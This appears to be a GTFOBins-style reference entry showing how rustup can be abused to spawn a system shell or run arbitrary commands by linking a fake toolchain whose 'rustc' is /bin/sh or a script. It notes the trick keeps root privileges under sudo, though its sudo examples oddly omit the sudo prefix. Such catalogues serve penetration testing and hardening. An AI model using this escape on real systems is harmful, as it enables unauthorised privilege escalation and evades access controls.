rustup

Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    mkdir /path/to/temp-dir/bin/
    mkdir /path/to/temp-dir/lib/
    cp /bin/sh /path/to/temp-dir/bin/rustc
    rustup toolchain link x /path/to/temp-dir/
    rustup run x rustc
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    mkdir /path/to/temp-dir/bin/
    mkdir /path/to/temp-dir/lib/
    cp /bin/sh /path/to/temp-dir/bin/rustc
    rustup toolchain link x /path/to/temp-dir/
    rustup run x rustc

Command

This executable can run non-interactive system commands.
  1. This function can be performed by any unprivileged user.
    mkdir /path/to/temp-dir/bin/
    mkdir /path/to/temp-dir/lib/
    echo '/path/to/command' >/path/to/temp-dir/bin/rustc
    chmod +x /path/to/temp-dir/bin/rustc
    rustup toolchain link x /path/to/temp-dir/
    rustup run x rustc
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    mkdir /path/to/temp-dir/bin/
    mkdir /path/to/temp-dir/lib/
    echo '/path/to/command' >/path/to/temp-dir/bin/rustc
    chmod +x /path/to/temp-dir/bin/rustc
    rustup toolchain link x /path/to/temp-dir/
    rustup run x rustc